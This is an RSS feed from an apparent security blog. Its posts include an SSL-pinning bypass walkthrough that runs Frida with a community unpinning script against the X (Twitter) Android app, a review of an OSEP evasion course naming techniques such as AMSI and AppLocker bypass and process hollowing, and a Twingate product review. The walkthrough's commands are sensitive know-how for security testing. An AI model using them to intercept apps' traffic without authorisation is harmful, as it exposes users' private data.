<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[4pfsec]]></title><description><![CDATA[All things Information Security]]></description><link>https://4pfsec.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1680980849119/3XFlv22NX.png</url><title>4pfsec</title><link>https://4pfsec.com</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 17 May 2026 03:04:11 GMT</lastBuildDate><atom:link href="https://4pfsec.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[SSL Pinning bypass (Android Emulator)]]></title><description><![CDATA[Over the weekend, I was taking a look at an application which implemented SSL pinning. Here's the technique I used to bypass pinning and view the raw requests sent to the application server which then helped me to uncover crucial details about the ap...]]></description><link>https://4pfsec.com/ssl-pinning-bypass</link><guid isPermaLink="true">https://4pfsec.com/ssl-pinning-bypass</guid><category><![CDATA[bypass ssl pinning]]></category><category><![CDATA[ssl pinning]]></category><category><![CDATA[Android Emulator]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[android app development]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sun, 14 Jan 2024 17:37:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1705253859755/7efb51a7-b76d-4576-b48c-26f9f42768e6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Over the weekend, I was taking a look at an application which implemented SSL pinning. Here's the technique I used to bypass pinning and view the raw requests sent to the application server which then helped me to uncover crucial details about the application's functionality.</p>
<hr />
<h1 id="heading-prerequisites">Prerequisites</h1>
<ul>
<li><p>An android emulator of choice</p>
</li>
<li><p>Burpsuite (installed on host machine)</p>
</li>
<li><p>Python packages</p>
<ul>
<li><p><code>objection</code></p>
<p>  If you face issues post-installation:</p>
<pre><code class="lang-plaintext">  pip install --upgrade setuptools
</code></pre>
</li>
<li><p><code>frida</code></p>
</li>
<li><p><code>frida-tools</code></p>
</li>
</ul>
</li>
</ul>
<hr />
<h1 id="heading-configure-burp-proxy">Configure Burp Proxy</h1>
<p><code>on host</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705250826510/1ff63945-7476-4242-92f2-4bbf5daa503a.png" alt class="image--center mx-auto" /></p>
<p><code>on emulator</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705250862153/fce6cfa4-63a0-497e-b005-381644fc9592.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-install-certificate-onto-emulator">Install Certificate onto emulator</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705251164775/f8894acf-6ba4-468d-a4f2-6cff31144438.png" alt class="image--center mx-auto" /></p>
<p>Launch the browser and head to <code>http://burp</code> and download the CA Certificate.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705251608214/dfd5cbd8-0468-432b-b353-8450fd2c1f81.png" alt class="image--center mx-auto" /></p>
<p>Make sure to rename the cert to <code>&lt;name&gt;.cer</code> via the file manager.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705251826042/e969a6d5-8852-40cf-8f2f-7349b6306879.png" alt class="image--center mx-auto" /></p>
<p>Then head to the certificate settings on the respective emulator and install the newly downloaded certificate.</p>
<hr />
<h1 id="heading-frida-server">Frida Server</h1>
<p><a target="_blank" href="https://github.com/frida/frida/releases">Releases · frida/frida (github.com)</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705251928126/4b37472e-bbaf-412c-80bd-cd64a2ec23c7.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252120384/7e1fcae0-b7b9-4388-aab7-8ec122422a1a.png" alt class="image--center mx-auto" /></p>
<p>download the unzip the respective frida-server versions, extract it and move it to the bin location of your emulator. In my case : <code>D:\Program Files\Nox\bin</code></p>
<pre><code class="lang-plaintext">adb devices
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252247247/b6b2d817-6e76-4eb1-a701-f747bc74df34.png" alt class="image--center mx-auto" /></p>
<p>verify that the adb interface is attached to the device.</p>
<pre><code class="lang-plaintext">adb push frida /data/local/tmp
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252305322/26bd5a28-e1c9-488a-86a0-0ee5d3b681d7.png" alt class="image--center mx-auto" /></p>
<p>Push the frida binary to the device via ADB.</p>
<pre><code class="lang-plaintext">D:\Program Files\Nox\bin&gt;adb shell

cd /data/local/tmp/
chmod +x frida
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252496167/10a418d7-79f9-4b71-a2ce-747e41955f27.png" alt class="image--center mx-auto" /></p>
<p>Give the binary execute permissions.</p>
<pre><code class="lang-plaintext">./frida &amp;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252534251/0387b7cd-4991-4063-a155-d85e465c870b.png" alt class="image--center mx-auto" /></p>
<p>Run frida server in the background.</p>
<hr />
<h1 id="heading-bypass-ssl-pinning">Bypass SSL Pinning</h1>
<p>There are a ton of scripts developed by the community for frida which you can find <a target="_blank" href="https://codeshare.frida.re/">here</a>. We'll be making use of the <code>frida-multiple-unpinning</code> script for our use case.</p>
<pre><code class="lang-plaintext">frida --codeshare akabe1/frida-multiple-unpinning -U -f com.twitter.android
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252663468/cf81b425-db49-42d0-9ab6-64f0492a4017.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252808046/40eeb861-3e66-40d0-9770-bec1960a57e4.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705252949401/69086f33-6ee7-4f32-832b-dc235cb2197f.png" alt class="image--center mx-auto" /></p>
<p>We can verify that the <code>X</code> AKA <code>twitter</code> app has opened up and the SSL pinning bypass is in effect.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1705253043809/ad283116-3ab6-4ceb-a0dd-3404a089e76f.png" alt class="image--center mx-auto" /></p>
<p>We can then take a look at burp and ensure that we are able to see the raw requests sent by the <code>X</code> app to its api server.</p>
]]></content:encoded></item><item><title><![CDATA[OSEP - Advanced Evasion
Techniques and Breaching Defenses - Review (2023)]]></title><description><![CDATA[Introduction
For the last three months, I've been working through the PEN300 course by OffSec which is all about advanced evasion and breaching defenses. Just got news from OffSec that I passed the 48-hour exam, and I wanted to share how I got the OS...]]></description><link>https://4pfsec.com/osep</link><guid isPermaLink="true">https://4pfsec.com/osep</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[redteaming]]></category><category><![CDATA[offensive-security]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Certification]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Sat, 23 Dec 2023 14:22:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1703341241724/71442a71-62b2-4150-bff7-5483fade1f9f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>For the last three months, I've been working through the PEN300 course by OffSec which is all about advanced evasion and breaching defenses. Just got news from OffSec that I passed the 48-hour exam, and I wanted to share how I got the OSEP certification and what helped me along the way.</p>
<hr />
<h1 id="heading-overview-of-the-course-pen300">Overview of the Course (PEN300)</h1>
<h2 id="heading-programing-theory-amp-ms-office">Programing Theory &amp; MS Office</h2>
<p>The PEN-300 course, focusing on Advanced Evasion Techniques and Breaching Defenses, spans multiple learning modules. The initial few chapters provide a general course overview, covering Operating System, Programming Theory and Client-Side Code Execution with MS Office.</p>
<p>Programming Theory forms a significant part of the course, exploring areas such as executing shellcode in Word Memory, PowerShell utilization, and the intricacies of client-side code execution. The course covers creating a basic dropper in Jscript, execution with Windows Script Host, and revisiting in-memory PowerShell techniques.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703335971770/9ceb0b7e-dc4f-4eec-8d22-af9b56150034.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-antivirus-evasion">Antivirus Evasion</h2>
<p>Process Injection and Migration introduce concepts like antivirus evasion, DLL injection, reflective DLL injection, and process hollowing. Practical considerations, such as simulating target environments, locating signatures in files, and bypassing antivirus with various methods, are also heavily covered to expand the student's understanding of antivirus evasion.</p>
<p>Antimalware Scan Interface (AMSI) bypass techniques using PowerShell and JScript were also covered. The module provides comprehensive strategies for bypassing AMSI. The Application Whitelisting section delves into theories and setups, exploring basic bypasses and techniques to overcome AppLocker restrictions using PowerShell, C#, and JScript.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703335925321/3fb41915-a03e-47d6-8c81-6141881dab1b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-network-filters">Network Filters</h2>
<p>Bypassing Network Filters covers strategies for overcoming DNS filters, web proxies, IDS and IPS sensors, and full packet capture devices. Techniques like HTTPS inspection, domain fronting, and DNS tunneling are explored in detail. Domain Fronting was one of my favorite sections of the course.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703335944945/7d88e106-ff05-4ce5-b33b-d082ba9722ed.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-post-exploitation">Post Exploitation</h2>
<p>The course extends its reach to Linux post-exploitation, kiosk breakouts, and lateral movement. Practical insights are provided on Linux lateral movement, Microsoft SQL attacks, Active Directory exploitation, and SSH lateral movement.</p>
<p>Windows Credentials modules cover aspects like local and domain credentials, Kerberos, and post-exploitation processing. Techniques for lateral movement with Remote Desktop Protocol (RDP), fileless lateral movement, and exploitation of Microsoft SQL in Active Directory are also comprehensively explored in the later chapters.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703335958765/70eab1da-0a70-4b4b-84c7-e25749d3ed0b.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-my-preparation-journey">My Preparation Journey</h1>
<h2 id="heading-course-module-labs">Course Module Labs</h2>
<p>Alongside the PEN-300 course are the interactive labs that complement each section, providing hands-on experiences for students. These labs are aligned with the specific tactics covered in each chapter, allowing students to actively apply the newly acquired knowledge in a practical setting. I heavily utilized these labs to repeatedly practice the tactics taught in the section.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703337727388/3544790e-4620-4d36-8e5c-a0b0e1a185af.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-challenge-labs">Challenge Labs</h2>
<p>The challenge labs represent an extra layer of complexity beyond the interactive labs. Within these labs, students encounter six separate networks featuring a mix of Windows and Linux hosts operating in an active directory environment, all fortified with active antivirus (AV) protection (windows defender). Students are tasked with navigating through these challenging scenarios, putting into practice the skills and techniques acquired throughout the course.</p>
<p>The challenge labs serve as a practical assessment, requiring students to apply their knowledge to overcome real-world obstacles, providing a comprehensive test of their proficiency in techniques taught throughout the course. I personally made full use of these 6 networks to try out various TTPs taught and used it as my own cyber range.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703337709091/b8062ff9-0f8d-4a22-b14a-b1e98aac47ed.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-external-labs">External Labs</h2>
<p>I personally didn't utilize any external labs other than a tiny AD lab I have in my home lab. However, many past students I spoke to, recommended the Hack the Box Pro Lab, Cybernetics for some extra practice. Alot of the students I spoke to, told me that this was a very good addition to challenge labs and helped them gain more confidence with their methodologies.</p>
<h2 id="heading-course-content">Course Content</h2>
<p>I was going through the content at a steady rate alongside the specific chapter's labs. I preferred doing it as I was learning compared to some students who read through the content completely before heading to the labs for some hands-on.</p>
<hr />
<h1 id="heading-challenges-and-learnings"><strong>Challenges and Learnings</strong></h1>
<h2 id="heading-c">C</h2>
<p>I wasn't particularly proficient in C#, especially when it came to building loaders and bypasses, which were emphasized in the course. However, I found that I didn't need an extensive knowledge of C#. Basic skills in the language, coupled with a solid understanding of fundamental antivirus (AV) bypass techniques, were sufficient for me to navigate through the challenges presented in the course.</p>
<h2 id="heading-macros">Macros</h2>
<p>Handling MS Office Macro malwares proved to be quite challenging in my personal experience, especially with MS 2016 as it spawns into a 32-bit context. The migration to another 64-bit process without a C2 framework added an extra layer of annoyance. Nevertheless, the course provides a foundational understanding, covering the basics. This knowledge is adequate for students to build upon and extend into a practical working solution.</p>
<h2 id="heading-applocker-constrained-language-mode">Applocker + Constrained Language Mode</h2>
<p>Navigating around Applocker and Constrained Language Mode presented a variety of options, which initially proved confusing for me, given that it was my first encounter with both simultaneously. However, after experimenting in the labs and learning through trial and error, I managed to find efficient solutions. It turned out to be a rather enjoyable challenge once I got the hang of it.</p>
<hr />
<h1 id="heading-the-exam">The Exam</h1>
<h2 id="heading-exam-network">Exam Network</h2>
<p>The exam consists of one large network with multiple machines that must be compromised. Students are given 48 hours (47 hours and 45 minutes to be exact) to complete the examination and another 24 hours for report writing. The exam objective provides detailed explanations on how a student can pass the examination. In general, you must have 10 flags each worth 10 points.</p>
<p>The student would have to first obtain a foothold and then perform additional internal attacks following the initial compromise. There are multiple attack paths through the network that will result in the same level of compromise.</p>
<blockquote>
<p>Some of the machines will require multiple exploitation steps, resulting first in low-level local access, and then in root or administrative privilege escalation. Other machines will be fully exploitable remotely.</p>
<p>-offsec</p>
</blockquote>
<p>In my personal experience, I found the difficulty level of the exam to be reasonable when compared to the content covered in the course. Everything necessary to pass the exam is included in the course materials; you just need to make a few extensions to your understanding and skills.</p>
<hr />
<h1 id="heading-tips-for-future-test-takers">Tips for Future Test-takers</h1>
<h2 id="heading-tools">Tools</h2>
<p>Throughout the course, various tools and techniques are introduced. If you lack a tool or if it's an open-source tool without a public release, ensure to pre-compile and test it in the labs before the exam. Avoid wasting valuable time during the exam on these tasks.</p>
<h2 id="heading-techniques">Techniques</h2>
<p>There are multiple ways to get to the same destination. Try every possible method/tool/technique to achieve the same goal. Things that work in certain environments do not work in others. I learnt this the hard way. Thankfully it was in the labs instead of the exam.</p>
<p>For instance, one of my interactive CLM bypasses refused to work in one of the labs and my interactive shell would simply die. However, running the commands in a PowerShell Runspace would succeed. Things like this I would've never known if I hadn't tried.</p>
<h2 id="heading-labs">Labs</h2>
<p>This is an obvious one. Redo the labs and practice note taking alongside. Doing it once doesn't suffice (unless you're doing this as your day job).</p>
<hr />
<h1 id="heading-conclusion">Conclusion</h1>
<p>In conclusion, the journey to obtaining the OSEP certification through the PEN-300 course has been a challenging yet immensely rewarding experience. Over the course of three months, I delved into advanced evasion techniques, breached defenses, and honed my skills in a dynamic and practical setting.</p>
<p>The exam, while appropriately challenging, proved manageable with the knowledge gained from the course. The emphasis on practical skills and the provision of necessary resources within the course materials made the exam preparation a smoother process. A piece of advice for future test-takers: familiarize yourself with tools beforehand, avoiding unnecessary hurdles during the exam.</p>
<p>Overall, the OSEP certification journey has not only expanded my technical capabilities but has also instilled a problem-solving mindset crucial in the realm of offensive security.</p>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703340804094/8a7a6c41-5898-42d0-85f8-dcebe79cf9da.png" alt class="image--center mx-auto" /></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Twingate: The Future of Remote Access]]></title><description><![CDATA[Introduction
Twingate is a cloud-based service that provides secured remote access to an organization’s networks. It’s function is very similar to a business VPN. Twingate makes Zero Trust Network Access (Yes, Buzzword. I know) easy to deploy, even e...]]></description><link>https://4pfsec.com/twingate</link><guid isPermaLink="true">https://4pfsec.com/twingate</guid><category><![CDATA[zerotrust]]></category><category><![CDATA[vpn]]></category><category><![CDATA[remote access]]></category><category><![CDATA[Work from home]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Mon, 28 Aug 2023 23:07:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1693263929803/bc1c7cbc-428f-4487-9c3b-68a971a5f0ea.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693258192870/e005dd58-9787-4634-a30d-062ee3f02ec0.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-introduction">Introduction</h1>
<p>Twingate is a cloud-based service that provides secured remote access to an organization’s networks. It’s function is very similar to a business VPN. Twingate makes <strong>Zero Trust</strong> <strong>Network Access</strong> <s>(Yes, Buzzword. I know)</s> easy to deploy, even easier to use, and always secure. It establishes direct peer-to-peer connections to protected resources, with each request verified before it ever leaves the device.</p>
<hr />
<h1 id="heading-how-twingate-is-revolutionizing-remote-access">How Twingate is Revolutionizing Remote Access</h1>
<h2 id="heading-resources-based-access">Resources Based Access</h2>
<p>Most commercial VPNs allow you to access internal networks whereas Twingate allows the declaration of individual resources as shown below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693259244255/faac802a-59c3-4e9c-b1e8-64d87fd7ca6c.png" alt class="image--center mx-auto" /></p>
<p>A resource on your network can be any of the following:</p>
<ul>
<li><p>A Fully Qualified Domain Name (FQDN), eg. <code>host.autoco.internal</code></p>
</li>
<li><p>An FQDN using one or more wildcards, eg. <code>*.host-0?.autoco.internal</code>, where <code>*</code> represents 0 or more characters and <code>?</code> represents exactly 1 character.</p>
<ul>
<li>Wildcards like <code>*.autoco.internal</code> match anything to the left of <code>.autoco.internal</code></li>
</ul>
</li>
<li><p>An IP address, eg. <code>10.1.0.35</code></p>
</li>
<li><p>A valid IP CIDR range, eg. <code>10.1.0.0/16</code></p>
</li>
</ul>
<p>The underlying reason for declaring network resources in such a manner will become apparent in the next few sections.</p>
<h2 id="heading-native-access-control-lists">Native Access Control Lists</h2>
<p>Twingate uses Access Control Lists (ACLs) to secure resources both internally and externally. ACLs consist of tables that define access permissions for network resources. They are built into network interfaces, operating systems as well as enabled through Windows Active Directory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693258800836/13360211-333f-41a0-8f0f-98eab2cd4fe1.png" alt class="image--center mx-auto" /></p>
<p>When onboarding a new resource, the admin is able to entirely control Port restrictions and Internal Domain names as shown above. Most traditional VPNs do allow subnet routing. However, resource-specific rules and restrictions have to be configured on your internal firewall. That changes with Twingate.</p>
<p>Twingate also offers granular permissions which allow you to define access to individual resources with custom policies and groups, enabling narrow access permissions. This kind of implementation has become a basic necessity in a world where people <strong>work from anywhere</strong>.</p>
<h2 id="heading-users-amp-groups-aaa-like">Users &amp; Groups (AAA-like)</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693259692323/bf0ca4cf-be27-4d1b-bf02-83c352b26697.png" alt class="image--center mx-auto" /></p>
<p>Now that we've declared our network resources and setup restrictions, let's take a look at what makes Twingate so special.</p>
<p>Traditional VPNs require the remote user to establish a connection to the VPN server and, once they prove they are an authorized user, they are granted access to the network behind the server, as if they were sitting at a computer in the office and on the network.</p>
<p><img src="https://campus.barracuda.com/resources/attachments/image/96026161/1/star_shaped_topology.png" alt="VPN Tunnels in Star-Shaped Topologies | Barracuda Campus" /></p>
<p>Larger companies may also have multiple networks which need to communicate with each other. This requires building a complicated network of VPN connections between them and letting users connect to multiple VPN servers.</p>
<p><img src="https://www.twingate.com/static/f1b7eca78f31c25b260e2d0756b43ccc/32749/hero.png" alt="Zero Trust Network Access made simple | Twingate" /></p>
<p>This is where Twingate's <strong>Zero Trust Networking</strong> comes into play. ZTN, a network access framework, operates on the fundamental concept that both the network itself and the users seeking to link with corporate assets are regarded as untrusted, thus the term "zero trust." Given this premise, maintaining security mandates a thorough examination and validation of every endeavor to reach a confidential resource. This validation includes confirming the user's identity as they assert (authentication), and ascertaining their entitlement to reach the specific resource in question (authorization).</p>
<h3 id="heading-how-it-works">How it works:</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693260387943/94ed32ac-b46c-414a-88bc-6174161eb786.png" alt class="image--center mx-auto" /></p>
<p>We have 2 active users declared in our network.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693260449141/2cba5938-d90f-4eba-a435-ed490c45ad1a.png" alt class="image--center mx-auto" /></p>
<p>We also have 3 operational groups.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693260495530/d29720c0-d1f5-4f65-bf21-2e5bd0b2d40e.png" alt class="image--center mx-auto" /></p>
<p>We're able to assign active users to operation groups as shown above.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693260641772/024cf0f6-af0d-41b3-baaf-f71e7d17455c.png" alt class="image--center mx-auto" /></p>
<p>We are able to assign groups to resources which determines their access to the resource.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693260613324/37a8f09e-a00f-4ad3-8840-c411763a143d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693260830182/ce125f3c-efa2-4a4a-9c99-67a479ae9b62.png" alt class="image--center mx-auto" /></p>
<p>The configuration is pretty modular as shown above and we are also able to assign multiple groups to a particular resource.</p>
<hr />
<h1 id="heading-architecture">Architecture</h1>
<p><img src="https://www.twingate.com/static/4fd5198931456977b625ebf339ce997d/1e088/abc-Twingate-Overview.png" alt /></p>
<p>Twingate relies on four main components</p>
<ul>
<li><p>Controller</p>
</li>
<li><p>Clients</p>
</li>
<li><p>Connectors</p>
</li>
<li><p>Relays</p>
</li>
</ul>
<p>Together, they ensure that only authenticated users are able to access the Resources that they have been authorized to access. Here's how they all work in conjunction.</p>
<h2 id="heading-controller">Controller</h2>
<p>The Controller's responsibilities encompass various tasks such as storing configuration changes from the Admin console, delegating user authentication to third-party identity providers, and generating access control lists (ACLs) for both clients and connectors. These ACLs define authorized resource access for users and network destinations for connectors. The Controller also plays a role in registering and authenticating deployed connectors, requiring one-time authorization and establishing anonymized unique IDs for identification, ensuring secure communication with Twingate Clients.</p>
<h2 id="heading-client">Client</h2>
<p>The Twingate Client application (Pretty self-explanatory, like your Openvpn Connect), installed on users' devices, serves as a crucial authentication and authorization proxy for user requests to private Resources. It establishes TLS tunnels with designated Connectors which ensures secure and efficient access to protected Resources, all orchestrated at the Client's edge.</p>
<h2 id="heading-connector">Connector</h2>
<p>The Connector, serving as the counterpart to the Client, takes on a simpler yet significant role. Designed to be placed behind a private Remote network's firewall, the Connector's core responsibilities include establishing and upholding communication with the Controller. (Basically the node in your network, something like argo)</p>
<h2 id="heading-relay">Relay</h2>
<p>The Relay is the simplest component in the Twingate architecture. No data or network-identifiable information is stored in the Relay and no data-carrying connections are terminated at the Relay. The Relay can be considered to be the equivalent of a TURN server in WebRTC nomenclature.</p>
<hr />
<h1 id="heading-access">Access</h1>
<h2 id="heading-desktop">Desktop</h2>
<p>Accessing your remote resource is as simple as downloading your corresponding agent from <a target="_blank" href="https://www.twingate.com/download">their website</a> and blazing through the following steps.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693261425644/6fdf036b-6984-4a43-b53f-915d097c6aa8.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693261511701/cadd66aa-5f18-4b01-b562-cbe77fbb9491.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693261506377/5814682a-f75a-4e22-b931-954763e89c95.png" alt class="image--center mx-auto" /></p>
<p>Once authenticated successfully, you should only see resources that have been delegated to you or the group that you belong to. It's that simple. You can now access that resource without any issues.</p>
<pre><code class="lang-powershell">ssh ubuntu@<span class="hljs-number">192.168</span>.<span class="hljs-number">18.18</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693261569910/a7b05c39-4ca3-4d7a-8789-86c312654fca.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-mobile">Mobile</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262802220/b703870c-9601-4dd6-8941-03ff6361883d.jpeg" alt class="image--center mx-auto" /></p>
<p>And that's it! Additionally, if you were on a traditional VPN, your general network traffic (by default) would flow through the VPN server which exhausts the VPN Server's bandwidth unnecessarily forcing the server to be scaled. With Twingate, your general traffic goes out through your device's network card unless specified otherwise.</p>
<hr />
<h1 id="heading-logging">Logging</h1>
<h2 id="heading-recent-activity">Recent Activity</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693261761282/7f6e9986-6a89-41f0-a1b1-b5a262a46821.png" alt class="image--center mx-auto" /></p>
<p>Twingate allows the admins to track recent activities related to each resource.</p>
<h2 id="heading-reports">Reports</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262033648/5b1379ef-a5f4-4dc5-9ee4-becab57d9b70.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693261971600/2ee45c0f-1ae6-4700-b5ec-f767031ae75c.png" alt class="image--center mx-auto" /></p>
<p>Twingate also allows admins to generate reports in bulk and review them as shown:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262107012/b7984e43-c237-4cd3-8247-3ca02d0d763b.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-setup-process">Setup Process</h1>
<p>The setup process is fairly straight forward.</p>
<h2 id="heading-prerequisites">Prerequisites</h2>
<ul>
<li>An in-house node running 24/7</li>
</ul>
<h2 id="heading-installation">Installation</h2>
<h3 id="heading-remote-network">Remote Network</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262269124/58d9a34f-1727-4801-b3d1-165af8ba9319.png" alt class="image--center mx-auto" /></p>
<p>The first step is to add a remote network. Name is whatever and select the location accordingly.</p>
<h3 id="heading-connector-1">Connector</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262311009/4f9fbac0-cf80-4080-90b9-4fd90ec21740.png" alt class="image--center mx-auto" /></p>
<p>The next step is to install the connector on our local node. There are a ton of deployment methods to choose from and I went with Docker as expected.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262362863/0477585e-aef0-42dc-ab83-af856f05bb96.png" alt class="image--center mx-auto" /></p>
<p>Configure the connector to your liking and paste the command into your node as shown below</p>
<p><img src alt class="image--center mx-auto" /></p>
<p>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262386792/07d5a41a-6511-4725-8a92-de086265193b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262409493/c23ed36b-6748-475d-a01b-4aa44239804a.png" alt class="image--center mx-auto" /></p>
<p>Once we see that the connector is up, we are ready to go. However, Twingate does provides 2 connectors by default for redundancy.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1693262516587/f595628d-3e32-4233-81fa-ed9dff3edb87.png" alt class="image--center mx-auto" /></p>
<p>Now we're ready to add resources, port restrictions, users &amp; groups as discussed above! It's that simple.</p>
<hr />
<h1 id="heading-conclusion">Conclusion</h1>
<h2 id="heading-pros">Pros (+)</h2>
<ul>
<li><p>Extremely simple setup &amp; management process for admins</p>
</li>
<li><p>Extensive ACL control over resources</p>
</li>
<li><p>Lessens company network load by directing non-business data straight to the internet</p>
</li>
<li><p>Handles DNS queries within the remote network, preserving typical hostnames and IP functionality.</p>
</li>
<li><p>Wide support for client operating system</p>
</li>
</ul>
<h2 id="heading-cons">Cons (-)</h2>
<ul>
<li><p>Involvement of an external entity (Twingate) in your system access</p>
<ul>
<li>They do explain the restricted access extensively on their <a target="_blank" href="https://www.twingate.com/docs/how-twingate-works">docs</a> and talk about how they have no access to any data.</li>
</ul>
</li>
<li><p>Possibly not fitting for organizations with rigorous security/privacy needs</p>
</li>
</ul>
<p>Remote access solutions are moving towards zero trust security. According to Forbes, implementing a zero trust access (ZTA) solution over traditional secure remote access solutions delivers one of the best frameworks needed in today’s digital era. It operates on the principle of “never trust, always verify,” ensuring that users and devices are continuously authenticated and authorized before accessing designated resources</p>
<p>ZTA can help protect against everything from simple malware to advanced persistent threats to insider threats. It can not only help prevent attacks outright, but also stop lateral movement, or otherwise mitigate, an attack in progress.</p>
<p>PSA: There are a few other tools that achieve the same goals as Twingate which doesn't depend on an external entity for your private system access. (E.g ZeroTier / Nebula)</p>
<hr />
<h3 id="heading-follow-up">Follow up (?)</h3>
<p>I might discuss how tools like such can be used by attackers to run around in your network 🥲.</p>
<hr />
<p>-Nee</p>
]]></content:encoded></item><item><title><![CDATA[CPTS - HTB Certified Penetration Testing Specialist - Review (2023)]]></title><description><![CDATA[Introduction
Having spent a considerable amount of time immersed in web-related attacks in the AWAE labs over the last 4 months, I began to feel a sense of detachment from the realm of Active Directory (AD) exploitation and pivoting. Now that I was d...]]></description><link>https://4pfsec.com/cpts</link><guid isPermaLink="true">https://4pfsec.com/cpts</guid><category><![CDATA[penetration testing]]></category><category><![CDATA[offensive-security]]></category><category><![CDATA[hack-the-box]]></category><category><![CDATA[redteaming]]></category><dc:creator><![CDATA[Nee]]></dc:creator><pubDate>Wed, 14 Jun 2023 20:11:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1686773421547/0e93a498-21f7-4ef5-a85c-20a943659480.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
